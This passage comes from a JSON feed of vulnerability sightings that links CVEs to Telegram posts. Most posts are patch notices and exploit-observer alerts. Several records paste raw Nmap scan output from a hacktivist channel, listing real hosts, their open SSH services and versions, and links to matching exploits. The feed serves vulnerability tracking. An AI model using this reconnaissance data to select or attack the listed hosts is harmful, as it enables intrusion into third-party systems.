\u0437\u0430\u043f\u0443\u0441\u0442\u0438\u0442\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u043a\u043e\u0434. \n\n\u0415\u0441\u0442\u044c \u0438 \u0445\u043e\u0440\u043e\u0448\u0438\u0435 \u043d\u043e\u0432\u043e\u0441\u0442\u0438. BrakTooth \u0445\u043e\u0442\u044c \u0438 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u043c\u0438\u043b\u043b\u0438\u0430\u0440\u0434\u044b \u0434\u0435\u0432\u0430\u0439\u0441\u043e\u0432, \u043d\u043e \u043a\u0430\u0436\u0434\u043e\u0435 \u0432 \u0440\u0430\u0437\u043d\u043e\u0439 \u0441\u0442\u0435\u043f\u0435\u043d\u0438.", "creation_timestamp": "2023-03-06T10:54:19.000000Z"}, {"uuid": "c5f9437d-0cb5-4d0e-ba8a-0ab4c91e6e4b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28474", "type": "published-proof-of-concept", "source": "https://t.me/ptswarm/52", "content": "CVE-2021-28474: SHAREPOINT RCE VIA SERVER-SIDE CONTROL INTERPRETATION CONFLICT\n\ud83d\udc64 by @thezdi\n\nThe vulnerability allows authenticated users to execute arbitrary .NET code on the server in the context of the service account of the SharePoint web application. By default, authenticated SharePoint users have all necessary permissions.\n\n\ud83d\udcdd Contents:\n \u2022 The Vulnerability\n \u2022 Exploitation\n \u2022 Proof of Concept\n \u2022 Getting Remote Code Execution\n \u2022 Conclusion\n\nhttps://www.zerodayinitiative.com/blog/2021/7/7/cve-2021-28474-sharepoint-remote-code-execution-via-server-side-control-interpretation-conflict", "creation_timestamp": "2021-07-09T08:53:02.000000Z"}, {"uuid": "62008312-559e-461e-b3d5-b3db45e8ca83", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28482", "type": "seen", "source": "https://t.me/alexmakus/4025", "content": "\u0421\u0432\u0435\u0436\u0438\u0435 \u043f\u0430\u0442\u0447\u0438 \u043f\u043e\u0434\u044a\u0435\u0445\u0430\u043b\u0438 \u0434\u043b\u044f Exchange \n\nhttps://techcommunity.microsoft.com/t5/exchange-team-blog/released-april-2021-exchange-server-security-updates/ba-p/2254617\n\nhttps://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-28480\nhttps://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-28481\nhttps://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-28482\nhttps://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-28483\n\n\u0434\u0430\u0436\u0435 \u043d\u0435\u043c\u043d\u043e\u0433\u043e \u0436\u0430\u043b\u043a\u043e \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u043e\u0432 Exchange, \u044d\u0442\u043e\u0442 \u0433\u043e\u0434 \u0443 \u043d\u0438\u0445 \u043d\u0435 \u0437\u0430\u0434\u0430\u043b\u0441\u044f.", "creation_timestamp": "2021-04-13T19:02:10.000000Z"}, {"uuid": "1ad92d11-2878-462c-8daa-ebe7091fd71e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28481", "type": "seen", "source": "https://t.me/alexmakus/4025", "content": "\u0421\u0432\u0435\u0436\u0438\u0435 \u043f\u0430\u0442\u0447\u0438 \u043f\u043e\u0434\u044a\u0435\u0445\u0430\u043b\u0438 \u0434\u043b\u044f Exchange \n\nhttps://techcommunity.microsoft.com/t5/exchange-team-blog/released-april-2021-exchange-server-security-updates/ba-p/2254617\n\nhttps://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-28480\nhttps://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-28481\nhttps://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-28482\nhttps://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-28483\n\n\u0434\u0430\u0436\u0435 \u043d\u0435\u043c\u043d\u043e\u0433\u043e \u0436\u0430\u043b\u043a\u043e \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u043e\u0432 Exchange, \u044d\u0442\u043e\u0442 \u0433\u043e\u0434 \u0443 \u043d\u0438\u0445 \u043d\u0435 \u0437\u0430\u0434\u0430\u043b\u0441\u044f.", "creation_timestamp": "2021-04-13T19:02:10.000000Z"}, {"uuid": "7886f32b-ad5e-4075-93c2-f186c2726852", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28483", "type": "seen", "source": "https://t.me/alexmakus/4025", "content": "\u0421\u0432\u0435\u0436\u0438\u0435 \u043f\u0430\u0442\u0447\u0438 \u043f\u043e\u0434\u044a\u0435\u0445\u0430\u043b\u0438 \u0434\u043b\u044f Exchange \n\nhttps://techcommunity.microsoft.com/t5/exchange-team-blog/released-april-2021-exchange-server-security-updates/ba-p/2254617\n\nhttps://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-28480\nhttps://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-28481\nhttps://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-28482\nhttps://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-28483\n\n\u0434\u0430\u0436\u0435 \u043d\u0435\u043c\u043d\u043e\u0433\u043e \u0436\u0430\u043b\u043a\u043e \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u043e\u0432 Exchange, \u044d\u0442\u043e\u0442 \u0433\u043e\u0434 \u0443 \u043d\u0438\u0445 \u043d\u0435 \u0437\u0430\u0434\u0430\u043b\u0441\u044f.", "creation_timestamp": "2021-04-13T19:02:10.000000Z"}, {"uuid": "c086a92f-36c3-4842-b31d-f023b252e425", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28480", "type": "seen", "source": "https://t.me/alexmakus/4025", "content": "\u0421\u0432\u0435\u0436\u0438\u0435 \u043f\u0430\u0442\u0447\u0438 \u043f\u043e\u0434\u044a\u0435\u0445\u0430\u043b\u0438 \u0434\u043b\u044f Exchange \n\nhttps://techcommunity.microsoft.com/t5/exchange-team-blog/released-april-2021-exchange-server-security-updates/ba-p/2254617\n\nhttps://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-28480\nhttps://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-28481\nhttps://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-28482\nhttps://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-28483\n\n\u0434\u0430\u0436\u0435 \u043d\u0435\u043c\u043d\u043e\u0433\u043e \u0436\u0430\u043b\u043a\u043e \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u043e\u0432 Exchange, \u044d\u0442\u043e\u0442 \u0433\u043e\u0434 \u0443 \u043d\u0438\u0445 \u043d\u0435 \u0437\u0430\u0434\u0430\u043b\u0441\u044f.", "creation_timestamp": "2021-04-13T19:02:10.000000Z"}, {"uuid": "859af39f-7f5a-4a45-a2bf-5572b05af792", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28550", "type": "exploited", "source": "https://t.me/alexmakus/4073", "content": "14 CVE, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u043e\u0434\u043d\u0443, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u0442\u0441\u044f:\n\nAdobe has received a report that\u00a0CVE-2021-28550 has been exploited in the wild in limited attacks targeting Adobe Reader users on Windows.\n\nAdobe Acrobat \u0438 Reader, \u043e\u0431\u043d\u043e\u0432\u043b\u044f\u0439\u0442\u0435\u0441\u044c \nhttps://helpx.adobe.com/security/products/acrobat/apsb21-29.html", "creation_timestamp": "2021-05-12T05:21:15.000000Z"}, {"uuid": "2af83460-470b-4f1a-8948-5e26e70d051c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28310", "type": "exploited", "source": "https://t.me/ctinow/31796", "content": "Zero-day vulnerability in Desktop Window Manager (CVE-2021-28310) used in the wild\n\nhttps://ift.tt/3mIXTR0", "creation_timestamp": "2021-04-13T19:42:23.000000Z"}, {"uuid": "ceabd8d9-814d-4a22-9811-e7fe918c692e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28310", "type": "exploited", "source": "https://t.me/ctinow/31797", "content": "Zero-day vulnerability in Desktop Window Manager (CVE-2021-28310) used in the wild\n\nhttps://ift.tt/3mIXTR0", "creation_timestamp": "2021-04-13T19:42:24.000000Z"}, {"uuid": "ae156b94-b778-44f5-afbd-70a3fed182a8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28310", "type": "seen", "source": "Telegram/9EDnIy-4FOSypMMwATTdDd3rvd3kuw-0OoilnQFY3m4FKio", "content": "", "creation_timestamp": "2021-04-14T16:46:11.000000Z"}, {"uuid": "2391a201-1575-4ea4-a093-060eaee82b64", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28041", "type": "published-proof-of-concept", "source": "https://t.me/MalaysiaHacktivistz/10581", "content": "https://vulners.com/githubexploit/F0979183-AE88-53B4-86CF-3AF0523F3807        *EXPLOIT*              |       CVE-2020-12062  7.5     https://vulners.com/cve/CVE-2020-12062        |       1337DAY-ID-26576        7.5   https://vulners.com/zdt/1337DAY-ID-26576*EXPLOIT*                              |       CVE-2021-28041  7.1     https://vulners.com/cve/CVE-2021-28041        |       CVE-2021-41617  7.0     https://vulners.com/cve/CVE-2021-41617        |       PACKETSTORM:189283      6.8   https://vulners.com/packetstorm/PACKETSTORM:189283      *EXPLOIT*              |       F79E574D-30C8-5C52-A801-66FFA0610BAA   6.8     https://vulners.com/githubexploit/F79E574D-30C8-5C52-A801-66FFA0610BAA        *EXPLOIT*              |       CVE-2025-26465  6.8     https://vulners.com/cve/CVE-2025-26465        |       C94132FD-1FA5-5342-B6EE-0DAF45EEFFE3   6.8     https://vulners.com/githubexploit/C94132FD-1FA5-5342-B6EE-0DAF45EEFFE3        *EXPLOIT*              |       1337DAY-ID-39918        6.8   https://vulners.com/zdt/1337DAY-ID-39918*EXPLOIT*                              |       10213DBE-F683-58BB-B6D3-353173626207   6.8     https://vulners.com/githubexploit/10213DBE-F683-58BB-B6D3-353173626207        *EXPLOIT*              |       CVE-2023-51385  6.5     https://vulners.com/cve/CVE-2023-51385        |       CVE-2023-48795  5.9     https://vulners.com/cve/CVE-2023-48795        |       CVE-2020-14145  5.9     https://vulners.com/cve/CVE-2020-14145        |       54E1BB01-2C69-5AFD-A23D-9783C9D9FC4C   5.9     https://vulners.com/githubexploit/54E1BB01-2C69-5AFD-A23D-9783C9D9FC4C        *EXPLOIT*              |       CVE-2016-20012  5.3     https://vulners.com/cve/CVE-2016-20012        |       CVE-2021-36368  3.7     https://vulners.com/cve/CVE-2021-36368        |_      PACKETSTORM:140261      0.0   https://vulners.com/packetstorm/PACKETSTORM:140261      *EXPLOIT*              Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel                       Final times for host: srtt: 214350 rttvar: 214350  to: 300000                                                        Nmap scan report for static.246.140.201.138.clients.your-server.de (138.201.140.246)                                 Host is up, received user-set (0.22s latency).                                Scanned at 2025-04-01 14:37:41 +08 for 166s                                                                          PORT   STATE  SERVICE REASON       VERSION                                    22/tcp closed ssh     conn-refused     Final times for host: srtt: 224679 rttvar: 224679  to: 300000                                                        Nmap scan report for static.247.140.201.138.clients.your-server.de (138.201.140.247)                                 Host is up, received user-set (0.23s latency).                                Scanned at 2025-04-01 14:37:41 +08 for 186s                                                                          PORT   STATE SERVICE REASON  VERSION   22/tcp open  ssh     syn-ack OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)    | vulners:                             |   cpe:/a:openbsd:openssh:9.2p1:      |       2C119FFA-ECE0-5E14-A4A4-354A2C38071A   10.0    https://vulners.com/githubexploit/2C119FFA-ECE0-5E14-A4A4-354A2C38071A        *EXPLOIT*              |       CVE-2023-38408  9.8     https://vulners.com/cve/CVE-2023-38408        |       CVE-2023-28531  9.8     https://vulners.com/cve/CVE-2023-28531        |       B8190CDB-3EB9-5631-9828-8064A1575B23   9.8     https://vulners.com/githubexploit/B8190CDB-3EB9-5631-9828-8064A1575B23        *EXPLOIT*              |       8FC9C5AB-3968-5F3C-825E-E8DB5379A623   9.8     https://vulners.com/githubexploit/8FC9C5AB-3968-5F3C-825E-E8DB5379A623        *EXPLOIT*              |       8AD01159-548E-546E-AA87-2DE89F3927EC   9.8     https://vulners.com/githubexploit/8AD01159-548E-546E-AA87-2DE89F3927EC        *EXPLOIT*              |       5E6968B4-DBD6-57FA-BF6E-D9B2219DB27A   9.8     https://vulners.com/githubexploit/5E6968B4-DBD6-57FA-BF6E-D9B2219DB27A        *EXPLOIT*              |", "creation_timestamp": "2025-04-01T08:49:50.000000Z"}, {"uuid": "63c31529-41be-420e-9124-a93d0a319015", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28041", "type": "seen", "source": "https://t.me/MalaysiaHacktivistz/10580", "content": "CVE-2021-28041  7.1     https://vulners.com/cve/CVE-2021-28041        |       CVE-2021-41617  7.0     https://vulners.com/cve/CVE-2021-41617        |       PACKETSTORM:189283      6.8   https://vulners.com/packetstorm/PACKETSTORM:189283      *EXPLOIT*              |       F79E574D-30C8-5C52-A801-66FFA0610BAA   6.8     https://vulners.com/githubexploit/F79E574D-30C8-5C52-A801-66FFA0610BAA        *EXPLOIT*              |       CVE-2025-26465  6.8     https://vulners.com/cve/CVE-2025-26465        |       C94132FD-1FA5-5342-B6EE-0DAF45EEFFE3   6.8     https://vulners.com/githubexploit/C94132FD-1FA5-5342-B6EE-0DAF45EEFFE3        *EXPLOIT*              |       1337DAY-ID-39918        6.8   https://vulners.com/zdt/1337DAY-ID-39918*EXPLOIT*                              |       10213DBE-F683-58BB-B6D3-353173626207   6.8     https://vulners.com/githubexploit/10213DBE-F683-58BB-B6D3-353173626207        *EXPLOIT*              |       CVE-2023-51385  6.5     https://vulners.com/cve/CVE-2023-51385        |       CVE-2023-48795  5.9     https://vulners.com/cve/CVE-2023-48795        |       CVE-2020-14145  5.9     https://vulners.com/cve/CVE-2020-14145        |       54E1BB01-2C69-5AFD-A23D-9783C9D9FC4C   5.9     https://vulners.com/githubexploit/54E1BB01-2C69-5AFD-A23D-9783C9D9FC4C        *EXPLOIT*              |       CVE-2016-20012  5.3     https://vulners.com/cve/CVE-2016-20012        |       CVE-2021-36368  3.7     https://vulners.com/cve/CVE-2021-36368        |_      PACKETSTORM:140261      0.0   https://vulners.com/packetstorm/PACKETSTORM:140261      *EXPLOIT*              Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel                       Final times for host: srtt: 216453 rttvar: 216453  to: 300000                                                        Nmap scan report for solidboukas.mynewserver.com (138.201.140.244)            Host is up, received user-set (0.22s latency).                                Scanned at 2025-04-01 14:37:41 +08 for 166s                                                                          PORT   STATE  SERVICE REASON       VERSION                                    22/tcp closed ssh     conn-refused     Final times for host: srtt: 219505 rttvar: 219505  to: 300000                                                        Nmap scan report for static.245.140.201.138.clients.your-server.de (138.201.140.245)                                 Host is up, received user-set (0.21s latency).                                Scanned at 2025-04-01 14:37:41 +08 for 186s                                                                          PORT   STATE SERVICE REASON  VERSION   22/tcp open  ssh     syn-ack OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)                           | vulners:                             |   cpe:/a:openbsd:openssh:8.2p1:      |       CVE-2023-38408  9.8     https://vulners.com/cve/CVE-2023-38408        |       B8190CDB-3EB9-5631-9828-8064A1575B23   9.8     https://vulners.com/githubexploit/B8190CDB-3EB9-5631-9828-8064A1575B23        *EXPLOIT*              |       8FC9C5AB-3968-5F3C-825E-E8DB5379A623   9.8     https://vulners.com/githubexploit/8FC9C5AB-3968-5F3C-825E-E8DB5379A623        *EXPLOIT*              |       8AD01159-548E-546E-AA87-2DE89F3927EC   9.8     https://vulners.com/githubexploit/8AD01159-548E-546E-AA87-2DE89F3927EC        *EXPLOIT*              |       5E6968B4-DBD6-57FA-BF6E-D9B2219DB27A   9.8     https://vulners.com/githubexploit/5E6968B4-DBD6-57FA-BF6E-D9B2219DB27A        *EXPLOIT*              |       0221525F-07F5-5790-912D-F4B9E2D1B587   9.8     https://vulners.com/githubexploit/0221525F-07F5-5790-912D-F4B9E2D1B587        *EXPLOIT*              |       CVE-2020-15778  7.8     https://vulners.com/cve/CVE-2020-15778        |       SSV:92579       7.5     https://vulners.com/seebug/SSV:92579   *EXPLOIT*                                     |       PACKETSTORM:173661      7.5   https://vulners.com/packetstorm/PACKETSTORM:173661      *EXPLOIT*              |       F0979183-AE88-53B4-86CF-3AF0523F3807   7.5", "creation_timestamp": "2025-04-01T08:49:50.000000Z"}, {"uuid": "4fe092d4-baa9-43af-9161-fd44f0cb9c0a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28041", "type": "published-proof-of-concept", "source": "https://t.me/MalaysiaHacktivistz/2968", "content": "https://vulners.com/githubexploit/F0979183-AE88-53B4-86CF-3AF0523F3807        *EXPLOIT*              |       CVE-2020-12062  7.5     https://vulners.com/cve/CVE-2020-12062        |       1337DAY-ID-26576        7.5   https://vulners.com/zdt/1337DAY-ID-26576*EXPLOIT*                              |       CVE-2021-28041  7.1     https://vulners.com/cve/CVE-2021-28041        |       CVE-2021-41617  7.0     https://vulners.com/cve/CVE-2021-41617        |       PACKETSTORM:189283      6.8   https://vulners.com/packetstorm/PACKETSTORM:189283      *EXPLOIT*              |       F79E574D-30C8-5C52-A801-66FFA0610BAA   6.8     https://vulners.com/githubexploit/F79E574D-30C8-5C52-A801-66FFA0610BAA        *EXPLOIT*              |       CVE-2025-26465  6.8     https://vulners.com/cve/CVE-2025-26465        |       C94132FD-1FA5-5342-B6EE-0DAF45EEFFE3   6.8     https://vulners.com/githubexploit/C94132FD-1FA5-5342-B6EE-0DAF45EEFFE3        *EXPLOIT*              |       1337DAY-ID-39918        6.8   https://vulners.com/zdt/1337DAY-ID-39918*EXPLOIT*                              |       10213DBE-F683-58BB-B6D3-353173626207   6.8     https://vulners.com/githubexploit/10213DBE-F683-58BB-B6D3-353173626207        *EXPLOIT*              |       CVE-2023-51385  6.5     https://vulners.com/cve/CVE-2023-51385        |       CVE-2023-48795  5.9     https://vulners.com/cve/CVE-2023-48795        |       CVE-2020-14145  5.9     https://vulners.com/cve/CVE-2020-14145        |       54E1BB01-2C69-5AFD-A23D-9783C9D9FC4C   5.9     https://vulners.com/githubexploit/54E1BB01-2C69-5AFD-A23D-9783C9D9FC4C        *EXPLOIT*              |       CVE-2016-20012  5.3     https://vulners.com/cve/CVE-2016-20012        |       CVE-2021-36368  3.7     https://vulners.com/cve/CVE-2021-36368        |_      PACKETSTORM:140261      0.0   https://vulners.com/packetstorm/PACKETSTORM:140261      *EXPLOIT*              Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel                       Final times for host: srtt: 214350 rttvar: 214350  to: 300000                                                        Nmap scan report for static.246.140.201.138.clients.your-server.de (138.201.140.246)                                 Host is up, received user-set (0.22s latency).                                Scanned at 2025-04-01 14:37:41 +08 for 166s                                                                          PORT   STATE  SERVICE REASON       VERSION                                    22/tcp closed ssh     conn-refused     Final times for host: srtt: 224679 rttvar: 224679  to: 300000                                                        Nmap scan report for static.247.140.201.138.clients.your-server.de (138.201.140.247)                                 Host is up, received user-set (0.23s latency).                                Scanned at 2025-04-01 14:37:41 +08 for 186s                                                                          PORT   STATE SERVICE REASON  VERSION   22/tcp open  ssh     syn-ack OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)    | vulners:                             |   cpe:/a:openbsd:openssh:9.2p1:      |       2C119FFA-ECE0-5E14-A4A4-354A2C38071A   10.0    https://vulners.com/githubexploit/2C119FFA-ECE0-5E14-A4A4-354A2C38071A        *EXPLOIT*              |       CVE-2023-38408  9.8     https://vulners.com/cve/CVE-2023-38408        |       CVE-2023-28531  9.8     https://vulners.com/cve/CVE-2023-28531        |       B8190CDB-3EB9-5631-9828-8064A1575B23   9.8     https://vulners.com/githubexploit/B8190CDB-3EB9-5631-9828-8064A1575B23        *EXPLOIT*              |       8FC9C5AB-3968-5F3C-825E-E8DB5379A623   9.8     https://vulners.com/githubexploit/8FC9C5AB-3968-5F3C-825E-E8DB5379A623        *EXPLOIT*              |       8AD01159-548E-546E-AA87-2DE89F3927EC   9.8     https://vulners.com/githubexploit/8AD01159-548E-546E-AA87-2DE89F3927EC        *EXPLOIT*              |       5E6968B4-DBD6-57FA-BF6E-D9B2219DB27A   9.8     https://vulners.com/githubexploit/5E6968B4-DBD6-57FA-BF6E-D9B2219DB27A        *EXPLOIT*              |", "creation_timestamp": "2025-04-01T08:49:51.000000Z"}, {"uuid": "e43d2ec7-d98f-420e-b522-03366a6c3fb7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28041", "type": "published-proof-of-concept", "source": "https://t.me/MalaysiaHacktivistz/2967", "content": "CVE-2021-28041  7.1     https://vulners.com/cve/CVE-2021-28041        |       CVE-2021-41617  7.0     https://vulners.com/cve/CVE-2021-41617        |       PACKETSTORM:189283      6.8   https://vulners.com/packetstorm/PACKETSTORM:189283      *EXPLOIT*              |       F79E574D-30C8-5C52-A801-66FFA0610BAA   6.8     https://vulners.com/githubexploit/F79E574D-30C8-5C52-A801-66FFA0610BAA        *EXPLOIT*              |       CVE-2025-26465  6.8     https://vulners.com/cve/CVE-2025-26465        |       C94132FD-1FA5-5342-B6EE-0DAF45EEFFE3   6.8     https://vulners.com/githubexploit/C94132FD-1FA5-5342-B6EE-0DAF45EEFFE3        *EXPLOIT*              |       1337DAY-ID-39918        6.8   https://vulners.com/zdt/1337DAY-ID-39918*EXPLOIT*                              |       10213DBE-F683-58BB-B6D3-353173626207   6.8     https://vulners.com/githubexploit/10213DBE-F683-58BB-B6D3-353173626207        *EXPLOIT*              |       CVE-2023-51385  6.5     https://vulners.com/cve/CVE-2023-51385        |       CVE-2023-48795  5.9     https://vulners.com/cve/CVE-2023-48795        |       CVE-2020-14145  5.9     https://vulners.com/cve/CVE-2020-14145        |       54E1BB01-2C69-5AFD-A23D-9783C9D9FC4C   5.9     https://vulners.com/githubexploit/54E1BB01-2C69-5AFD-A23D-9783C9D9FC4C        *EXPLOIT*              |       CVE-2016-20012  5.3     https://vulners.com/cve/CVE-2016-20012        |       CVE-2021-36368  3.7     https://vulners.com/cve/CVE-2021-36368        |_      PACKETSTORM:140261      0.0   https://vulners.com/packetstorm/PACKETSTORM:140261      *EXPLOIT*              Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel                       Final times for host: srtt: 216453 rttvar: 216453  to: 300000                                                        Nmap scan report for solidboukas.mynewserver.com (138.201.140.244)            Host is up, received user-set (0.22s latency).                                Scanned at 2025-04-01 14:37:41 +08 for 166s                                                                          PORT   STATE  SERVICE REASON       VERSION                                    22/tcp closed ssh     conn-refused     Final times for host: srtt: 219505 rttvar: 219505  to: 300000                                                        Nmap scan report for static.245.140.201.138.clients.your-server.de (138.201.140.245)                                 Host is up, received user-set (0.21s latency).                                Scanned at 2025-04-01 14:37:41 +08 for 186s                                                                          PORT   STATE SERVICE REASON  VERSION   22/tcp open  ssh     syn-ack OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)                           | vulners:                             |   cpe:/a:openbsd:openssh:8.2p1:      |       CVE-2023-38408  9.8     https://vulners.com/cve/CVE-2023-38408        |       B8190CDB-3EB9-5631-9828-8064A1575B23   9.8     https://vulners.com/githubexploit/B8190CDB-3EB9-5631-9828-8064A1575B23        *EXPLOIT*              |       8FC9C5AB-3968-5F3C-825E-E8DB5379A623   9.8     https://vulners.com/githubexploit/8FC9C5AB-3968-5F3C-825E-E8DB5379A623        *EXPLOIT*              |       8AD01159-548E-546E-AA87-2DE89F3927EC   9.8     https://vulners.com/githubexploit/8AD01159-548E-546E-AA87-2DE89F3927EC        *EXPLOIT*              |       5E6968B4-DBD6-57FA-BF6E-D9B2219DB27A   9.8     https://vulners.com/githubexploit/5E6968B4-DBD6-57FA-BF6E-D9B2219DB27A        *EXPLOIT*              |       0221525F-07F5-5790-912D-F4B9E2D1B587   9.8     https://vulners.com/githubexploit/0221525F-07F5-5790-912D-F4B9E2D1B587        *EXPLOIT*              |       CVE-2020-15778  7.8     https://vulners.com/cve/CVE-2020-15778        |       SSV:92579       7.5     https://vulners.com/seebug/SSV:92579   *EXPLOIT*                                     |       PACKETSTORM:173661      7.5   https://vulners.com/packetstorm/PACKETSTORM:173661      *EXPLOIT*              |       F0979183-AE88-53B4-86CF-3AF0523F3807   7.5", "creation_timestamp": "2025-04-01T08:49:51.000000Z"}, {"uuid": "e3d29fa9-596f-4698-993f-487911cc7ae4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28663", "type": "seen", "source": "https://t.me/arpsyndicate/1143", "content": "#ExploitObserverAlert\n\nCVE-2021-28663\n\nDESCRIPTION: Exploit Observer has 7 entries related to CVE-2021-28663. The Arm Mali GPU kernel driver allows privilege escalation or information disclosure because GPU memory operations are mishandled, leading to a use-after-free. This affects Bifrost r0p0 through r28p0 before r29p0, Valhall r19p0 through r28p0 before r29p0, and Midgard r4p0 through r30p0.\n\nFIRST-EPSS: 0.006260000\nNVD-IS: 5.9\nNVD-ES: 2.8", "creation_timestamp": "2023-12-04T07:13:43.000000Z"}, {"uuid": "94b48467-241d-4f7e-a0ee-e7353df95a13", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28664", "type": "seen", "source": "https://t.me/arpsyndicate/1361", "content": "#ExploitObserverAlert\n\nCVE-2021-28664\n\nDESCRIPTION: Exploit Observer has 8 entries related to CVE-2021-28664. The Arm Mali GPU kernel driver allows privilege escalation or a denial of service (memory corruption) because an unprivileged user can achieve read/write access to read-only pages. This affects Bifrost r0p0 through r29p0 before r30p0, Valhall r19p0 through r29p0 before r30p0, and Midgard r8p0 through r30p0 before r31p0.\n\nFIRST-EPSS: 0.004200000\nNVD-IS: 5.9\nNVD-ES: 2.8", "creation_timestamp": "2023-12-05T01:53:45.000000Z"}, {"uuid": "dcc59b57-9d6d-4a32-b8d6-9ca8411e898c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28550", "type": "seen", "source": "https://t.me/arpsyndicate/1279", "content": "#ExploitObserverAlert\n\nCVE-2021-28550\n\nDESCRIPTION: Exploit Observer has 6 entries related to CVE-2021-28550. Acrobat Reader DC versions versions 2021.001.20150 (and earlier), 2020.001.30020 (and earlier) and 2017.011.30194 (and earlier) are affected by a Use After Free vulnerability. An unauthenticated attacker could leverage this vulnerability to achieve arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.\n\nFIRST-EPSS: 0.634320000\nNVD-IS: 5.9\nNVD-ES: 2.8", "creation_timestamp": "2023-12-04T18:56:26.000000Z"}, {"uuid": "f9a7766a-60ae-4a9e-8ee6-e97178084b73", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28965", "type": "seen", "source": "https://t.me/arpsyndicate/589", "content": "#ExploitObserverAlert\n\nCVE-2021-28965\n\nDESCRIPTION: Exploit Observer has 12 entries related to CVE-2021-28965. The REXML gem before 3.2.5 in Ruby before 2.6.7, 2.7.x before 2.7.3, and 3.x before 3.0.1 does not properly address XML round-trip issues. An incorrect document can be produced after parsing and serializing.\n\nFIRST-EPSS: 0.000890000\nNVD-IS: 3.6\nNVD-ES: 3.9", "creation_timestamp": "2023-11-26T07:09:38.000000Z"}, {"uuid": "5933097d-6aff-4c67-89a8-f747e496f6eb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28834", "type": "seen", "source": "https://t.me/arpsyndicate/71", "content": "#ExploitObserverAlert\n\nCVE-2021-28834\n\nDESCRIPTION: Exploit Observer has 9 entries related to 